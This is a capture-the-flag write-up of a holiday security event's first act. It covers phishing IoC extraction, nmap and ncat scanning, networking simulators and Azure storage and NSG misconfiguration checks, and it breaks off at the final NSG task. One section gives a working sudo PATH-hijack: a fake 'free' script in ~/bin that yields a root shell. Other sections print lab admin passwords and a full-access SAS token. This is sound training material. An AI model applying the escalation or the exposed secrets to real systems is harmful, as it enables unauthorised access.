ACT I

Info

The Counter Hack crew is in the Neighborhood festively preparing for the holidays when they are suddenly overrun by lively Gnomes in Your Home! There must have been some magic in those Gnomes, because, due to some unseen spark, some haunting hocus pocus, they have come to life and are now scurrying around the Neighborhood.

Holiday Hack Orientation

Meet Lynn Schifano on the train for a warm welcome and get ready for your journey around the Dosis Neighborhood.

The first challenge is intentionally easy and just requires me to write answer into the top pane. This unlocks all the other objectives.

Terminal asking me to put "answer" as answer

Its All About Defang

Find Ed Skoudis upstairs in City Hall and help him troubleshoot a clever phishing tool in his cozy office.

In this challenge I’m placed into a SOC and have to extract indicators of compromise (IoCs) from a phishing email. Based on four regex I’m tasked to extract domains, IPs, URLs, and email addresses.

Phishing mail received by the Dosis Neighborhood Residents

I use the following regex to extract the required IoCs and then remove all the matches for our own domain and email addresses, anything containing dosisneighborhood.corp as well as our own trusted IP 10.0.0.5.

  • Domain: (?:[a-zA-Z0-9]+\.)+[a-z]+
  • IP (?:\d{1,3}\.){3}\d{1,3}
  • URLs (?:https?|ftp)://[^\s]+
  • Email Addresses [a-zA-Z0-9-]+@[a-zA-Z0-9-.]+

Then I need to defang everything all with s/\./[.]/g; s/@/[@]/g; s/http/hxxp/g; s/:\//[://]/g and submit the report.

Phishing report after successful submission

Neighborhood Watch Bypass

Assist Kyle at the old data center with a fire alarm that just won’t chill.

Terminal showing objective to restore access to the fire alarm system by running a specific binary in an elevated context

In order to restore control over the compromised fire alarm system, I have to escalate my privileges on this host and then run /etc/firealarm/restore_fire_alarm. Currently I’m placed into a terminal as chiuser.

$ sudo -l
Matching Defaults entries for chiuser on 2c7dbb42a1a2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+="API_ENDPOINT API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH
 
User chiuser may run the following commands on 2c7dbb42a1a2:
    (root) NOPASSWD: /usr/local/bin/system_status.sh

Running sudo -l on the host to list all the commands I might be able to run as other users, shows I can run /usr/local/bin/system_status.sh as root without providing a password. Additionally the environment variable PATH is kept and the secure_path is set to include /home/chiuser/bin as the very first folder to check for commands.

Since the script to call is readable, I can inspect it for escalation vectors. It does run a few commands without specifying the full path to those binaries. This means I can just place my own one into ~/bin and due to the precedence in the PATH variable it will be called first.

system_status.sh
#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
echo "Fire alarm system monitoring active..."
echo ""
echo "System resources (for alarm monitoring):" 
free -h
echo -e "\nDisk usage (alarm logs and recordings):"
df -h
echo -e "\nActive fire department connections:"
w
echo -e "\nFire alarm monitoring processes:"
ps aux | grep -E "(alarm|fire|monitor|safety)" | head -5 || echo "No active fire monitoring processes detected"
echo ""
echo "🔥 Fire Safety Status: All systems operational"
echo "🚨 Emergency Response: Ready"
echo "📍 Coverage Area: Dosis Neighborhood (all sectors)"

Therefore I place a Bash script called free into ~/bin that just executes another Bash, make it executable with chmod and then run the system_status.sh script with sudo. This calls my custom free and drops me into a root shell.

$ cat << EOF > ~/bin/free
#!/bin/bash
/bin/bash
EOF
 
$ chmod +x ~/bin/free
 
$ sudo /usr/local/bin/system_status.sh
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...
 
System resources (for alarm monitoring):
root@9a0ecfe0d726:/home/chiuser#

After escalating my privileges I can run /etc/firealarm/restore_fire_alarm to regain control and fulfill the objective.

Success message after restoring control

Santa’s Gift-Tracking Service Port Mystery

Chat with Yori near the apartment building about Santa’s mysterious gift tracker and unravel the holiday mystery.

Terminal explaining the tasks for this objective

The goal is to find the port where the santa_tracker is running on. It already gives me the instructions to use ss to find the port and then connect to it. Doing so returns just a single port, 12321, and I can use curl to interact with it. This returns the current location and status of Santa.

$ ss -tulpn
Netid                State                  Recv-Q                 Send-Q                                 Local Address:Port                                  Peer Address:Port                Process                
tcp                  LISTEN                 0                      5                                            0.0.0.0:12321                                      0.0.0.0:*                                          
 
$ curl http://127.0.0.1:12321
{
  "status": "success",
  "message": "\ud83c\udf84 Ho Ho Ho! Santa Tracker Successfully Connected! \ud83c\udf84",
  "santa_tracking_data": {
    "timestamp": "2025-12-19 15:47:42",
    "location": {
      "name": "Reindeer Ridge",
      "latitude": 64.447325,
      "longitude": -127.385315
    },
    "movement": {
      "speed": "1045 mph",
      "altitude": "17130 feet",
      "heading": "320\u00b0 E"
    },
    "delivery_stats": {
      "gifts_delivered": 6298314,
      "cookies_eaten": 30459,
      "milk_consumed": "2439 gallons",
      "last_stop": "Reindeer Ridge",
      "next_stop": "Frosty's Passage",
      "time_to_next_stop": "9 minutes"
    },
    "reindeer_status": {
      "rudolph_nose_brightness": "97%",
      "favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
      "reindeer_snack_preference": "festive hay bales"
    },
    "weather_conditions": {
      "temperature": "12\u00b0F",
      "condition": "Candy cane precipitation"
    },
    "special_note": "Thanks to your help finding the correct port, the neighborhood can now track Santa's arrival! The mischievous gnomes will be caught and will be put to work wrapping presents."
  }

Visual Networking Thinger

Skate over to Jared at the frozen pond for some network magic and learn the ropes by the hockey rink.

For this objective I have to build valid network communications between a client and the server. Most of the available options consist out of multiple choice values.

Building a DNS request and response

First I have to build a valid DNS request for the IPv4 address of visual-networking.holidayhackchallenge.com. DNS usually uses port 53 and in order to look up the IPv4 I have to choose request type A and provide the domain name. The response consists out of the chosen type and the IP.

Building a DNS request and response

The second challenge requires me to build a 3-way handshake between a client and the web server and provides me with different TCP flags to use.

Building a 3-way handshake with TCP flags

For the handshake, the client starts with SYN that’s followed by SYN,ACK from the web server upon successful connection and then this packet is acknowledged by the client with ACK.

Building a 3-way handshake with TCP flags

The third challenge builds on the previously established TCP connection and wants me to build a HTTP GET request.

Building a HTTP request

For the HTTP verb I obviously have to choose GET and provide the hostname from the first challenge. The chosen version and the value for the user-agent do not matter here. The web server responds with 302 and redirects to HTTPS.

Building a HTTP request

Now with the upgrade to HTTPS the client has to perform a TLS handshake.

Building a TLS handshake

This starts by sending a Client Hello that gets answered from the server with Server Hello and the Certificate. If the client accepts the provided certificate it sends a list of ciphers and a premaster secret, encrypted with the public key from the certificate, in the Client Key Exchange. To finalize the handshake the server responds with Server Change Cipher Spec and Finished.

Building a TLS handshake

With an established TLS connection, I have to perform another GET request.

Building a HTTPS GET request

Here I can chose the exact values as for the previous GET request. This time the server responds with 200 and the contents of the page.

Building a HTTPS GET request

Visual Firewall Thinger

Find Elgee in the big hotel for a firewall frolic and some techy fun.

In the network diagram I move from left to right and enable the services listed under Goals by checking the corresponding check boxes.

The holiday firewall simulator

Intro to Nmap

Meet Eric in the hotel parking lot for Nmap know-how and scanning secrets. Help him connect to the wardriving rig on his motorcycle!

Todo

1) When run without any options, nmap performs a TCP port scan of the top 1000 ports. Run a default nmap scan of 127.0.12.25 and see which port is open.

$ nmap --top-ports 10000 127.0.12.25
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:52 UTC
Nmap scan report for 127.0.12.25
Host is up (0.000082s latency).
Not shown: 8319 closed ports
PORT     STATE SERVICE
8080/tcp open  http-proxy
 
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

Todo

2) Sometimes the top 1000 ports are not enough. Run an nmap scan of all TCP ports on 127.0.12.25 and see which port is open.

$ nmap -p 0-65535 127.0.12.25
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:54 UTC
Nmap scan report for 127.0.12.25
Host is up (0.000059s latency).
Not shown: 65535 closed ports
PORT      STATE SERVICE
24601/tcp open  unknown
 
Nmap done: 1 IP address (1 host up) scanned in 1.72 seconds

Todo

3) Nmap can also scan a range of IP addresses. Scan the range 127.0.12.20 - 127.0.12.28 and see which has a port open.

$ nmap -p 0-65535 127.0.12.20-28
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:59 UTC
Nmap scan report for 127.0.12.20
Host is up (0.00024s latency).
All 65536 scanned ports on 127.0.12.20 are closed
 
Nmap scan report for 127.0.12.21
Host is up (0.00028s latency).
All 65536 scanned ports on 127.0.12.21 are closed
 
Nmap scan report for 127.0.12.22
Host is up (0.000089s latency).
All 65536 scanned ports on 127.0.12.22 are closed
Nmap scan report for 127.0.12.22
Host is up (0.00028s latency).
All 65536 scanned ports on 127.0.12.22 are closed
 
Nmap scan report for 127.0.12.23
Host is up (0.00028s latency).
Not shown: 65535 closed ports
PORT     STATE SERVICE
8080/tcp open  http-proxy
 
Nmap scan report for 127.0.12.24
Host is up (0.00013s latency).
All 65536 scanned ports on 127.0.12.24 are closed
 
Nmap scan report for 127.0.12.25
Host is up (0.000089s latency).
All 65536 scanned ports on 127.0.12.25 are closed
 
Nmap scan report for 127.0.12.26
Host is up (0.00014s latency).
All 65536 scanned ports on 127.0.12.26 are closed
 
Nmap scan report for 127.0.12.27
Host is up (0.00019s latency).
All 65536 scanned ports on 127.0.12.27 are closed
 
Nmap scan report for 127.0.12.28
Host is up (0.00018s latency).
All 65536 scanned ports on 127.0.12.28 are closed
 
Nmap done: 9 IP addresses (9 hosts up) scanned in 15.62 seconds

Todo

4) Nmap has a version detection engine, to help determine what services are running on a given port. What service is running on 127.0.12.25 TCP port 8080?

$ nmap -p 8080 -sV 127.0.12.25
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:57 UTC
Nmap scan report for 127.0.12.25
Host is up (0.000072s latency).
 
PORT     STATE SERVICE VERSION
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds

Todo

5) Sometimes you just want to interact with a port, which is a perfect job for Ncat! Use the ncat tool to connect to TCP port 24601 on 127.0.12.25 and view the banner returned.

$ ncat 127.0.12.25 24601
Welcome to the WarDriver 9000!
Terminated

Blob Storage Challenge in the Neighborhood

Help the Goose Grace near the pond find which Azure Storage account has been misconfigured to allow public blob access by analyzing the export file.

Todo

You may not know this but the Azure cli help messages are very easy to access. First, try typing: $ az help | less

$ az help | less
--- SNIP ---

Todo

Next, you’ve already been configured with credentials. 🔑 $ az account show | less

  • Pipe the output to | less so you can scroll.
  • Press 'q' to exit less.
$ az account show | less
{
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "theneighborhood-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "theneighborhood@theneighborhood.invalid",
    "type": "user"
  }
}

Todo

Now that you’ve run a few commands, Let’s take a look at some Azure storage accounts. Try: az storage account list | less For more information: https://learn.microsoft.com/en-us/cli/azure/storage/account?view=azure-cli-latest

$ az storage account list | less
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood1",
    "kind": "StorageV2",
    "location": "eastus",
    "name": "neighborhood1",
    "properties": {
      "accessTier": "Hot",
      "allowBlobPublicAccess": false,
      "encryption": {
        "keySource": "Microsoft.Storage",
        "services": {
          "blob": {
            "enabled": true
          }
        }
      },
      "minimumTlsVersion": "TLS1_2"
    },
    "resourceGroup": "theneighborhood-rg1",
    "sku": {
      "name": "Standard_LRS"
    },
    "tags": {
      "env": "dev"
    }
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood2",
    "kind": "StorageV2",
    "location": "eastus2",
    "name": "neighborhood2",
    "properties": {
      "accessTier": "Cool",
      "allowBlobPublicAccess": true,
      "encryption": {
        "keySource": "Microsoft.Storage",
        "services": {
          "blob": {
            "enabled": false
          }
        }
      },
      "minimumTlsVersion": "TLS1_0"
    },
    "resourceGroup": "theneighborhood-rg1",
    "sku": {
      "name": "Standard_GRS"
    },
    "tags": {
      "owner": "Admin"
    }
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2/providers/Microsoft.Storage/storageAccounts/neighborhood3",
    "kind": "BlobStorage",
    "location": "westus",
    "name": "neighborhood3",
    "properties": {
      "accessTier": "Hot",
      "allowBlobPublicAccess": false,
      "encryption": {
        "keySource": "Microsoft.Keyvault",
        "services": {
          "blob": {
            "enabled": true
          }
        }
      },
      "minimumTlsVersion": "TLS1_2"
    },
    "resourceGroup": "theneighborhood-rg2",
    "sku": {
      "name": "Standard_RAGRS"
    },
    "tags": {
      "department": "NeighborhoodWatch"
    }
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2/providers/Microsoft.Storage/storageAccounts/neighborhood4",
    "kind": "StorageV2",
    "location": "westus2",
    "name": "neighborhood4",
    "properties": {
      "accessTier": "Hot",
      "allowBlobPublicAccess": false,
      "minimumTlsVersion": "TLS1_2",
      "networkAcls": {
        "bypass": "AzureServices",
        "virtualNetworkRules": []
      }
    },
    "resourceGroup": "theneighborhood-rg2",
    "sku": {
      "name": "Premium_LRS"
    },
    "tags": {
      "critical": "true"
    }
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood5",
    "kind": "StorageV2",
    "location": "eastus",
    "name": "neighborhood5",
    "properties": {
      "accessTier": "Cool",
      "allowBlobPublicAccess": false,
      "isHnsEnabled": true,
      "minimumTlsVersion": "TLS1_2"
    },
    "resourceGroup": "theneighborhood-rg1",
    "sku": {
      "name": "Standard_LRS"
    },
    "tags": {
      "project": "Homes"
    }
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2/providers/Microsoft.Storage/storageAccounts/neighborhood6",
    "kind": "StorageV2",
    "location": "centralus",
    "name": "neighborhood6",
    "properties": {
      "accessTier": "Hot",
      "allowBlobPublicAccess": false,
      "minimumTlsVersion": "TLS1_2",
      "tags": {
        "replicate": "true"
      }
    },
    "resourceGroup": "theneighborhood-rg2",
    "sku": {
      "name": "Standard_ZRS"
    },
    "tags": {}
  }
]

Todo

hmm… one of these looks suspicious 🚨, i think there may be a misconfiguration here somewhere. Try showing the account that has a common misconfiguration: az storage account show --name xxxxxxxxxx | less

From the previous output I know the account neighborhood2 is set to public access.

$ az storage account show --name neighborhood2 | less
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood2",
  "name": "neighborhood2",
  "location": "eastus2",
  "kind": "StorageV2",
  "sku": {
    "name": "Standard_GRS"
  },
  "properties": {
    "accessTier": "Cool",
    "allowBlobPublicAccess": true,
    "minimumTlsVersion": "TLS1_0",
    "encryption": {
      "services": {
        "blob": {
          "enabled": false
        }
      },
      "keySource": "Microsoft.Storage"
    }
  },
  "resourceGroup": "theneighborhood-rg1",
  "tags": {
    "owner": "Admin"
  }
}

Todo

Now we need to list containers in neighborhood2. After running the command what’s interesting in the list? For more information: https://learn.microsoft.com/en-us/cli/azure/storage/container?view=azure-cli-latest#az-storage-container-list

$ az storage container list --account-name neighborhood2 | less
[
  {
    "name": "public",
    "properties": {
      "lastModified": "2024-01-15T09:00:00Z",
      "publicAccess": "Blob"
    }
  },
  {
    "name": "private",
    "properties": {
      "lastModified": "2024-02-05T11:12:00Z",
      "publicAccess": null
    }
  }
]

Todo

Let’s take a look at the blob list in the public container for neighborhood2. For more information: https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest#az-storage-blob-list

$ az storage blob list --account-name neighborhood2 \
                       --container-name public \
                       | less
[
  {
    "name": "refrigerator_inventory.pdf",
    "properties": {
      "contentLength": 45678,
      "contentType": "application/pdf",
      "metadata": {
        "created_by": "NeighborhoodWatch",
        "document_type": "inventory",
        "last_updated": "2024-12-15"
      }
    }
  },
  {
    "name": "admin_credentials.txt",
    "properties": {
      "contentLength": 1024,
      "contentType": "text/plain",
      "metadata": {
        "note": "admins only"
      }
    }
  },
  {
    "name": "network_config.json",
    "properties": {
      "contentLength": 2048,
      "contentType": "application/json",
      "metadata": {
        "encrypted": "false",
        "environment": "prod"
      }
    }
  }
]

Todo

Try downloading and viewing the blob file named admin_credentials.txt from the public container. 💡 hint: --file /dev/stdout should print in the terminal. Dont forget to use | less!

$ az storage blob download --account-name neighborhood2 \
                           --container-name public \
                           --name admin_credentials.txt  \
                           --file /dev/stdout \
                           | less
# You have discovered an Azure Storage account with "allowBlobPublicAccess": true.
# This misconfiguration allows ANYONE on the internet to view and download files
# from the blob container without authentication.
 
# Public blob access is highly insecure when sensitive data (like admin credentials)
# is stored in these containers. Always disable public access unless absolutely required.
 
Azure Portal Credentials
User: azureadmin
Pass: AzUR3!P@ssw0rd#2025
 
Windows Server Credentials
User: administrator
Pass: W1nD0ws$Srv!@42
 
SQL Server Credentials
User: sa
Pass: SqL!P@55#2025$
 
Active Directory Domain Admin
User: corp\administrator
Pass: D0m@in#Adm!n$765
 
Exchange Admin Credentials
User: exchangeadmin
Pass: Exch@ng3!M@il#432
 
VMware vSphere Credentials
User: vsphereadmin
Pass: VMW@r3#Clu$ter!99
 
Network Switch Credentials
User: netadmin
Pass: N3t!Sw!tch$C0nfig#
 
Firewall Admin Credentials
User: fwadmin
Pass: F1r3W@ll#S3cur3!77
 
Backup Server Credentials
User: backupadmin
Pass: B@ckUp!Srv#2025$
 
Monitoring System Admin
User: monitoradmin
Pass: M0n!t0r#Sys$P@ss!
 
SharePoint Admin Credentials
User: spadmin
Pass: Sh@r3P0!nt#Adm!n2025
 
Git Server Admin
User: gitadmin
Pass: G1t#Srv!Rep0$C0de

Todo

🎊 Great, you found the misconfiguration allowing public access to sensitive information!

✅ Challenge Complete! To finish, type: finish

$ finish
Completing challenge...

Spare Key

Help Goose Barry near the pond identify which identity has been granted excessive Owner permissions at the subscription level, violating the principle of least privilege.

Todo

Let’s start by listing all resource groups $ az group list -o table This will show all resource groups in a readable table format.

$ az group list -o table
Name                 Location    ProvisioningState
-------------------  ----------  -------------------
rg-the-neighborhood  eastus      Succeeded
rg-hoa-maintenance   eastus      Succeeded
rg-hoa-clubhouse     eastus      Succeeded
rg-hoa-security      eastus      Succeeded
rg-hoa-landscaping   eastus      Succeeded

Todo

Now let’s find storage accounts in the neighborhood resource group 📦 $ az storage account list --resource-group rg-the-neighborhood -o table This shows what storage accounts exist and their types.

$ az storage account list --resource-group rg-the-neighborhood -o table
Name             Kind         Location    ResourceGroup        ProvisioningState
---------------  -----------  ----------  -------------------  -------------------
neighborhoodhoa  StorageV2    eastus      rg-the-neighborhood  Succeeded
hoamaintenance   StorageV2    eastus      rg-hoa-maintenance   Succeeded
hoaclubhouse     StorageV2    eastus      rg-hoa-clubhouse     Succeeded
hoasecurity      BlobStorage  eastus      rg-hoa-security      Succeeded
hoalandscaping   StorageV2    eastus      rg-hoa-landscaping   Succeeded

Todo

Someone mentioned there was a website in here. maybe a static website? try: $ az storage blob service-properties show --account-name <insert_account_name> --auth-mode login

$ az storage blob service-properties show --account-name neighborhoodhoa --auth-mode login
{
  "enabled": true,
  "errorDocument404Path": "404.html",
  "indexDocument": "index.html"
}

Todo

Let’s see what 📦 containers exist in the storage account 💡 Hint: You will need to use az storage container list We want to list the container and its public access levels.

$ az storage container list --account-name neighborhoodhoa \
                            --auth-mode login
[
  {
    "name": "$web",
    "properties": {
      "lastModified": "2025-09-20T10:30:00Z",
      "publicAccess": null
    }
  },
  {
    "name": "public",
    "properties": {
      "lastModified": "2025-09-15T14:20:00Z",
      "publicAccess": "Blob"
    }
  }
]

Todo

Examine what files are in the static website container 💡 hint: when using --container-name you might need '<name>' Look 👀 for any files that shouldn’t be publicly accessible!

$ az storage blob list --account-name neighborhoodhoa \
                       --container-name '$web' \
                       --auth-mode login
[
  {
    "name": "index.html",
    "properties": {
      "contentLength": 512,
      "contentType": "text/html",
      "metadata": {
        "source": "hoa-website"
      }
    }
  },
  {
    "name": "about.html",
    "properties": {
      "contentLength": 384,
      "contentType": "text/html",
      "metadata": {
        "source": "hoa-website"
      }
    }
  },
  {
    "name": "iac/terraform.tfvars",
    "properties": {
      "contentLength": 1024,
      "contentType": "text/plain",
      "metadata": {
        "WARNING": "LEAKED_SECRETS"
      }
    }
  }
]

Todo

Take a look at the files here, what stands out? Try examining a suspect file 🕵️: 💡 hint: --file /dev/stdout | less will print to your terminal 💻.

$ az storage blob download --account-name neighborhoodhoa \
                           --container-name '$web' \
                           --name 'iac/terraform.tfvars'  \
                           --auth-mode login \
                           --file /dev/stdout \
                           | less
# Terraform Variables for HOA Website Deployment
# Application: Neighborhood HOA Service Request Portal  
# Environment: Production
# Last Updated: 2025-09-20
# DO NOT COMMIT TO PUBLIC REPOS
 
# === Application Configuration ===
app_name = "hoa-service-portal"
app_version = "2.1.4"
environment = "production"
 
# === Database Configuration ===
database_server = "sql-neighborhoodhoa.database.windows.net"
database_name = "hoa_requests"
database_username = "hoa_app_user"
# Using Key Vault reference for security
database_password_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/db-password/)"
 
# === Storage Configuration for File Uploads ===
storage_account = "neighborhoodhoa"
uploads_container = "resident-uploads"
documents_container = "hoa-documents"
 
# TEMPORARY: Direct storage access for migration script
# WARNING: Remove after data migration to new storage account
# This SAS token provides full access - HIGHLY SENSITIVE!
migration_sas_token = "sv=2023-11-03&ss=b&srt=co&sp=rlacwdx&se=2100-01-01T00:00:00Z&spr=https&sig=1djO1Q%2Bv0wIh7mYi3n%2F7r1d%2F9u9H%2F5%2BQxw8o2i9QMQc%3D"
 
# === Email Service Configuration ===
# Using Key Vault for sensitive email credentials
sendgrid_api_key_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/sendgrid-key/)"
from_email = "noreply@theneighborhood.com" 
admin_email = "admin@theneighborhood.com"
 
# === Application Settings ===
session_timeout_minutes = 60
max_file_upload_mb = 10
allowed_file_types = ["pdf", "jpg", "jpeg", "png", "doc", "docx"]
 
# === Feature Flags ===
enable_online_payments = true
enable_maintenance_requests = true
enable_document_portal = false
enable_resident_directory = true
 
# === API Keys (Key Vault References) ===
maps_api_key_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/maps-api-key/)"
weather_api_key_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/weather-api-key/)"
 
# === Notification Settings (Key Vault References) ===
sms_service_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/sms-credentials/)"
notification_webhook_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/slack-webhook/)"
 
# === Deployment Configuration ===
deploy_static_files_to_cdn = true
cdn_profile = "hoa-cdn-prod"
cache_duration_hours = 24
 
# Backup schedule
backup_frequency = "daily"
backup_retention_days = 30

Todo

You found the leak! A migration_sas_token within /iac/terraform.tfvars exposed a long-lived SAS token (expires 2100-01-01) 🔑 ⚠️ Accidentally uploading config files to $web can leak secrets. 🔐

Challenge Complete! To finish, type: finish

$ finish
Completing challenge...

The Open Door

Help Goose Lucas in the hotel parking lot find the dangerously misconfigured Network Security Group rule that’s allowing unrestricted internet access to sensitive ports like RDP or SSH.

Todo

Welcome back! Let’s start by exploring output formats. First, let’s see resource groups in JSON format (the default): $ az group list JSON format shows detailed structured data.

$ az group list
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1",
    "location": "eastus",
    "managedBy": null,
    "name": "theneighborhood-rg1",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2",
    "location": "westus",
    "managedBy": null,
    "name": "theneighborhood-rg2",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  }
]

Todo

Great! Now let’s see the same data in table format for better readability 👀 $ az group list -o table Notice how -o table changes the output format completely! Both commands show the same data, just formatted differently.

$ az group list -o table
Name                 Location    ProvisioningState
-------------------  ----------  -------------------
theneighborhood-rg1  eastus      Succeeded
theneighborhood-rg2  westus      Succeeded

Todo

Lets take a look at Network Security Groups (NSGs). To do this try: az network nsg list -o table This lists all NSGs across resource groups. For more information: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest

$ az network nsg list -o table
Location    Name                   ResourceGroup
----------  ---------------------  -------------------
eastus      nsg-web-eastus         theneighborhood-rg1
eastus      nsg-db-eastus          theneighborhood-rg1
eastus      nsg-dev-eastus         theneighborhood-rg2
eastus      nsg-mgmt-eastus        theneighborhood-rg2
eastus      nsg-production-eastus  theneighborhood-rg1

Todo

Inspect the Network Security Group (web) 🕵️ Here is the NSG and its resource group: --name nsg-web-eastus --resource-group theneighborhood-rg1

Hint: We want to show the NSG details. Use | less to page through the output. Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest#az-network-nsg-show

$ az network nsg show --name nsg-web-eastus \
                      --resource-group theneighborhood-rg1 \
                      | less
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Network/networkSecurityGroups/nsg-web-eastus",
  "location": "eastus",
  "name": "nsg-web-eastus",
  "properties": {
    "securityRules": [
      {
        "name": "Allow-HTTP-Inbound",
        "properties": {
          "access": "Allow",
          "destinationPortRange": "80",
          "direction": "Inbound",
          "priority": 100,
          "protocol": "Tcp",
          "sourceAddressPrefix": "0.0.0.0/0"
        }
      },
      {
        "name": "Allow-HTTPS-Inbound",
        "properties": {
          "access": "Allow",
          "destinationPortRange": "443",
          "direction": "Inbound",
          "priority": 110,
          "protocol": "Tcp",
          "sourceAddressPrefix": "0.0.0.0/0"
        }
      },
      {
        "name": "Allow-AppGateway-HealthProbes",
        "properties": {
          "access": "Allow",
          "destinationPortRange": "80,443",
          "direction": "Inbound",
          "priority": 130,
          "protocol": "Tcp",
          "sourceAddressPrefix": "AzureLoadBalancer"
        }
      },
      {
        "name": "Allow-Web-To-App",
        "properties": {
          "access": "Allow",
          "destinationPortRange": "8080,8443",
          "direction": "Inbound",
          "priority": 200,
          "protocol": "Tcp",
          "sourceAddressPrefix": "VirtualNetwork"
        }
      },
      {
        "name": "Deny-All-Inbound",
        "properties": {
          "access": "Deny",
          "destinationPortRange": "*",
          "direction": "Inbound",
          "priority": 4096,
          "protocol": "*",
          "sourceAddressPrefix": "*"
        }
      }
    ]
  },
  "resourceGroup": "theneighborhood-rg1",
  "tags": {
    "env": "web"
  }
}

Todo

Inspect the Network Security Group (mgmt) 🕵️ Here is the NSG and its resource group: --nsg-name nsg-mgmt-eastus --resource-group theneighborhood-rg2

Hint: We want to list the NSG rules Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-list

$ az network nsg rule list --nsg-name nsg-mgmt-eastus \
                           --resource-group theneighborhood-rg2 \
                           | less
[
  {
    "name": "Allow-AzureBastion",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "443",
      "direction": "Inbound",
      "priority": 100,
      "protocol": "Tcp",
      "sourceAddressPrefix": "AzureBastion"
    }
  },
  {
    "name": "Allow-Monitoring-Inbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "443",
      "direction": "Inbound",
      "priority": 110,
      "protocol": "Tcp",
      "sourceAddressPrefix": "AzureMonitor"
    }
  },
  {
    "name": "Allow-DNS-From-VNet",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "53",
      "direction": "Inbound",
      "priority": 115,
      "protocol": "Udp",
      "sourceAddressPrefix": "VirtualNetwork"
    }
  },
  {
    "name": "Deny-All-Inbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Deny",
      "destinationPortRange": "*",
      "direction": "Inbound",
      "priority": 4096,
      "protocol": "*",
      "sourceAddressPrefix": "*"
    }
  },
  {
    "name": "Allow-Monitoring-Outbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationAddressPrefix": "AzureMonitor",
      "destinationPortRange": "443",
      "direction": "Outbound",
      "priority": 200,
      "protocol": "Tcp"
    }
  },
  {
    "name": "Allow-AD-Identity-Outbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationAddressPrefix": "AzureActiveDirectory",
      "destinationPortRange": "443",
      "direction": "Outbound",
      "priority": 210,
      "protocol": "Tcp"
    }
  },
  {
    "name": "Allow-Backup-Outbound",
    "nsg": "nsg-mgmt-eastus",
    "properties": {
      "access": "Allow",
      "destinationAddressPrefix": "AzureBackup",
      "destinationPortRange": "443",
      "direction": "Outbound",
      "priority": 220,
      "protocol": "Tcp"
    }
  }
]

Todo

Take a look at the rest of the NSG rules and examine their properties. After enumerating the NSG rules, enter the command string to view the suspect rule and inspect its properties. Hint: Review fields such as direction, access, protocol, source, destination and port settings.

